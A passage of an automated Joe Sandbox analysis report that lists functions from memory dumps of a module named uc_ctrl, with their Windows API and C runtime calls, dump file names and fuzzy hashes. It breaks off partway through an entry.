Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Strings

`, xrefs: 6C9426DC

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID: `
API String ID: 2887603401-2679148245
Opcode ID: 3ab8581a7720f42f953db7ac4a55c51bdf2de295bb5d761104ce55247d9a612b
Instruction ID: d41348388eacc1f8574c4bac1ff8ea3f564fdde68b759d8566b79e28c904467a
Opcode Fuzzy Hash: 3ab8581a7720f42f953db7ac4a55c51bdf2de295bb5d761104ce55247d9a612b
Instruction Fuzzy Hash: 64F058329013118BEB04EBA0C4167EDB2B0AF24729F905829D046ABA90DFB8DA18C784

Function 6C7A4C16 Relevance: 7.7, APIs: 5, Instructions: 221windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 6C7A4D77
SendMessageW.USER32(?,00000187,?,00000000), ref: 6C7A4DD1
GetParent.USER32(?), ref: 6C7A4DE6
SendMessageW.USER32(?,00000111,?,?), ref: 6C7A4E14
SendMessageW.USER32(?,00000185,00000001,?), ref: 6C7A4E29

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$Parent
String ID:
API String ID: 1020955656-0
Opcode ID: 5a4c26d68a9a588d78a552e6c20c74ecb2cf3ec9b37f25d11244998894971d7a
Instruction ID: 258b506d8178034113b01722580404eb3613bca7796aca8521ed6e0b3f3f19c6
Opcode Fuzzy Hash: 5a4c26d68a9a588d78a552e6c20c74ecb2cf3ec9b37f25d11244998894971d7a
Instruction Fuzzy Hash: 11610372700204ABDB14CFA8CD84A5AB7AAFF85354B148669F909DF744DF31DC02DBA4

Function 6C93CCE0 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C93CCE7
fgetwc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C93CD3B
ungetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6C93CE70

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_fgetwcungetc
String ID:
API String ID: 3107860115-0
Opcode ID: 7ed4aa356991c81c777222e56920a51d37554759a9391da3db4ed3d9a2b66059
Instruction ID: 504614c33547ebadaa8eb317f54266afbdf523056c831946e6b95474f8f47e6a
Opcode Fuzzy Hash: 7ed4aa356991c81c777222e56920a51d37554759a9391da3db4ed3d9a2b66059
Instruction Fuzzy Hash: B051603590553ADFDB24DFA8C480AEDB7B5EF09314F646229E40AAB680D730DD45CB60

Function 6C6E6D4D Relevance: 7.6, APIs: 5, Instructions: 124COMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,6C6B0CBC), ref: 6C6E6D7C

Part of subcall function 6C685BCB: ClientToScreen.USER32(?,?), ref: 6C685BDA
Part of subcall function 6C685BCB: ClientToScreen.USER32(?,?), ref: 6C685BE7

PtInRect.USER32(6C6B0CBC,?,?), ref: 6C6E6D96
PtInRect.USER32(?,?,?), ref: 6C6E6E0F

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ClientRect$Screen
String ID:
API String ID: 3187875807-0
Opcode ID: 00e0616588412440285360fbf8401429eaaba87bf6ef370d25a780b88687947a
Instruction ID: 63a5f70a1c7a53f4f8c46cf316020c09d2a3506431f7e8ba5809d78950c80800
Opcode Fuzzy Hash: 00e0616588412440285360fbf8401429eaaba87bf6ef370d25a780b88687947a
Instruction Fuzzy Hash: CE41FD72A0910AAFDF00CFA8C944ADEB7F5EF09304F50046AEA15EB651D771EA45CB64

Function 6C6A6F21 Relevance: 7.6, APIs: 5, Instructions: 121windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6A6F28
__Init_thread_footer.LIBCMT ref: 6C6A6F7B
GetCursorPos.USER32(?), ref: 6C6A6FBC
ScreenToClient.USER32(?,?), ref: 6C6A6FC9
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 6C6A709E

Part of subcall function 6C7B14D2: __onexit.LIBCMT ref: 6C7B14D8

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ClientCursorH_prolog3Init_thread_footerMessageScreenSend__onexit
String ID:
API String ID: 573583934-0
Opcode ID: 9b2e8889e9fbc6f1af9c6e4972a720c9cc8925d3ff76543f461244df6ad67471
Instruction ID: 518e5ca27f19f5361724794cbcf613f1b10affe465f44f06fac4f4454d0120b3
Opcode Fuzzy Hash: 9b2e8889e9fbc6f1af9c6e4972a720c9cc8925d3ff76543f461244df6ad67471
Instruction Fuzzy Hash: 1F41B371A00206DFDB15CFA5C944BAEB7B6BF05319F104529D4219BB90DB34ED49CB58

Function 6C69EDA2 Relevance: 7.6, APIs: 5, Instructions: 120windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C69EDA9
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6C69EDC3
GetWindowRect.USER32(?,?), ref: 6C69EE67
ReleaseCapture.USER32 ref: 6C69EF47

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CaptureH_prolog3_MessageRectReleaseSendWindow
String ID:
API String ID: 1034054131-0
Opcode ID: 69539b3236b3e6f5d5b2574fff9d5633c95112f9f346eb6d1ef51ccd2da3f38f
Instruction ID: 3467a71fdae6082ade1fc39af358c47ea4b83fa8967c65426d2b730fa8c68c0d
Opcode Fuzzy Hash: 69539b3236b3e6f5d5b2574fff9d5633c95112f9f346eb6d1ef51ccd2da3f38f
Instruction Fuzzy Hash: 31513C75A052169BDF418F54C884BED3BB9FF08314F1400B9EC09AB665CB786445CFA9

Function 6C9429C0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9429C7
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C942A39
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,0000004C,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C942A90
_swprintf_s.MSPDB140-MSVCRT ref: 6C942A9D
?_Fput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6C942AC6

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@std@@@std@@$Ffmt@?$num_put@_Fput@?$num_put@_H_prolog3_V32@Vios_base@2@_W@std@@@2@_swprintf_sfrexp
String ID:
API String ID: 3016303544-0
Opcode ID: bd0623051f8a126b4d54b1800111f267d813c2a6b1f79d2ef5aa55cf3b8e48f1
Instruction ID: 6693f53c986ffb6e8d3f65e8016e84d8e1689858ed8288b2b25db9494f232536
Opcode Fuzzy Hash: bd0623051f8a126b4d54b1800111f267d813c2a6b1f79d2ef5aa55cf3b8e48f1
Instruction Fuzzy Hash: 0331DDB1A0061AEBDF24DF94DC85AEEBBB9FF58304F048415F904A7680E375E964CB90

Function 6C942AF0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C942AF7
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C942B69
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C942BC0
_swprintf_s.MSPDB140-MSVCRT ref: 6C942BCD
?_Fput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6C942BF6

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@std@@@std@@$Ffmt@?$num_put@_Fput@?$num_put@_H_prolog3_V32@Vios_base@2@_W@std@@@2@_swprintf_sfrexp
String ID:
API String ID: 3016303544-0
Opcode ID: 95b3ac7aa38a930c5143fbc7dd53e2b3c3a95209c04ae2844794e8bb06d16257
Instruction ID: 18d24ab3398dfa7604ee79434667195e1b3d46b9cbdd717bcb3c7e6595ee025a
Opcode Fuzzy Hash: 95b3ac7aa38a930c5143fbc7dd53e2b3c3a95209c04ae2844794e8bb06d16257
Instruction Fuzzy Hash: 7831BBB190061AEBDF14DF94DC85AEEBBB9FF59304F148019F804A7640E371EA64CB90

Function 6C938530 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C938537
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C9385A9
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,0000004C,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C938600
_swprintf_s.MSPDB140-MSVCRT ref: 6C93860D
?_Fput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6C938636

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@Ffmt@?$num_put@_Fput@?$num_put@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 1176172388-0
Opcode ID: 1ecdbb6b73ea1882938a7c0e9912e2d744f27b15473c9ea24bda200d15dd8c37
Instruction ID: cab2b9c5108f60851f683050a82c5392b77922d0ea140491952f35fda9b9b309
Opcode Fuzzy Hash: 1ecdbb6b73ea1882938a7c0e9912e2d744f27b15473c9ea24bda200d15dd8c37
Instruction Fuzzy Hash: 2F31BFB1A00129EBDF08DF94DC41AEEBBB9FF58304F044116F808A7640E775E964CBA0

Function 6C940570 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C940577
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C9405E9
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,0000004C,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C940640
_swprintf_s.MSPDB140-MSVCRT ref: 6C94064D
?_Fput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AAVios_base@2@GPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6C940676

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$Ffmt@?$num_put@_Fput@?$num_put@G@std@@@2@G@std@@@std@@@std@@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 3084824951-0
Opcode ID: a95b968b64962b37f9a22ef9b940485e1820cfd8b29117b3d21739d7985c9400
Instruction ID: 72f6e10f0ad611948e59d980400efd8eb5d99076a222cad7c5c1da6b794bc933
Opcode Fuzzy Hash: a95b968b64962b37f9a22ef9b940485e1820cfd8b29117b3d21739d7985c9400
Instruction Fuzzy Hash: CA31BAB190121AEBDF14DF94DC81AEEBBB9FF68304F048119F904A7640E375E9648B90

Function 6C9406A0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9406A7
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C940719
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C940770
_swprintf_s.MSPDB140-MSVCRT ref: 6C94077D
?_Fput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AAVios_base@2@GPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6C9407A6

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$Ffmt@?$num_put@_Fput@?$num_put@G@std@@@2@G@std@@@std@@@std@@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 3084824951-0
Opcode ID: 9fed13bc878bcbd7ecdc24162df44cd996b99d3a149b578e413a58902090a17d
Instruction ID: d5bc6ea656c2164023953dbc49f568c90276ef63e7f1f01a97de373ec62d7d44
Opcode Fuzzy Hash: 9fed13bc878bcbd7ecdc24162df44cd996b99d3a149b578e413a58902090a17d
Instruction Fuzzy Hash: BB31AB7190021AEBDF14DF94DC81AEEBBB9FF68304F048125F905A7640E775E964CB91

Function 6C938660 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C938667
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C9386D9
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6C938730
_swprintf_s.MSPDB140-MSVCRT ref: 6C93873D
?_Fput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6C938766

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@Ffmt@?$num_put@_Fput@?$num_put@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 1176172388-0
Opcode ID: 738d37ac58d297e53620d84ecdc3393f5d1ebb43510076a922b83871e077fc5b
Instruction ID: 6264f51a0018fe162cad5649e2f8a87eb75bcd3bcd68895011a93ea4cc3b6128
Opcode Fuzzy Hash: 738d37ac58d297e53620d84ecdc3393f5d1ebb43510076a922b83871e077fc5b
Instruction Fuzzy Hash: 7931CEB1A0022AEBDF09DF94DD41AEEBBB9FF58304F04401AF804A7640E771E964CB94

Function 6C92A520 Relevance: 7.6, APIs: 5, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A52F
___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A538
isupper.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92A574
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A599
__crtLCMapStringA.MSVCP140(?,00000100,?,00000001,?,00000003,?,00000001), ref: 6C92A5F8

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: String___lc_codepage_func___lc_locale_name_func__crt__pctype_funcisupper
String ID:
API String ID: 3675269872-0
Opcode ID: ff9ef350e14e323e7922556fa2d562eb90e2e17d7302517189395df3a43bf29a
Instruction ID: 28a10ff2138bc5d241b22fef9f2c55d316ac7a87f9a8e1013bf8a28d598afb1f
Opcode Fuzzy Hash: ff9ef350e14e323e7922556fa2d562eb90e2e17d7302517189395df3a43bf29a
Instruction Fuzzy Hash: 59314633A29205AFDB11CA19C880FAE7BB8AF12304F144549ECD1D7A84DF7CDA44C760

Function 6C92A6B0 Relevance: 7.6, APIs: 5, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A6BF
___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A6C8
islower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92A704
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A729
__crtLCMapStringA.MSVCP140(?,00000200,?,00000001,?,00000003,?,00000001), ref: 6C92A788

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: String___lc_codepage_func___lc_locale_name_func__crt__pctype_funcislower
String ID:
API String ID: 3151334991-0
Opcode ID: 9e26a194b1876b186d4bade121f09192e7e1a56590c363f324224de57f7f764b
Instruction ID: 961fe895f4327b6c85e7af56d06a5c9999adaf01ea1ee0f22108197a884a6405
Opcode Fuzzy Hash: 9e26a194b1876b186d4bade121f09192e7e1a56590c363f324224de57f7f764b
Instruction Fuzzy Hash: C3310432E29205AFDB118A69C884FAD7BBCAF12B08F144559ECD1E7685DB7CDA04C760

Function 007750F0 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,p#w,80070057,?,?,?,?,?,00000006), ref: 00775165
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000000,?,p#w,80070057,?,?,?,?,?,00000006), ref: 00775171

Memory Dump Source

